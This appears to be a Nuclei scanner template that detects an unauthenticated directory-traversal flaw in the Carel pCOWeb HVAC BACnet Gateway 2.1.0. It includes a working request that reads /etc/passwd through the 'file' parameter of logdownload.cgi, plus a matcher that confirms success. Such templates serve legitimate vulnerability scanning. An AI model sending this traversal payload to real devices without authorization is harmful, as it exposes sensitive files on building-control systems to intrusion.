id: carel-bacnet-gateway-traversal

info:
  name: Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Local File Inclusion
  author: gy741
  severity: high
  description: Carel pCOWeb HVAC BACnet Gateway 2.1.0 is vulnerable to local file inclusion because of input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.
  reference:
    - https://www.zeroscience.mk/codes/carelpco_dir.txt
    - https://thecyberpost.com/tools/exploits-cve/carel-pcoweb-hvac-bacnet-gateway-2-1-0-unauthenticated-directory-traversal/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: carel,lfi,traversal,unauth,bacnet

http:
  - method: GET
    path:
      - "{{BaseURL}}/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd"

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

# digest: 490a00463044022005d90d7ae5983444c844bc85bb658be7ffd713ec128070d3852f3439cf2e2888022027679d47babe999d00c6fdec4dc804478dc39c1e7cb0a12e6569321f3c902188:922c64590222798bb761d5b6d8e72950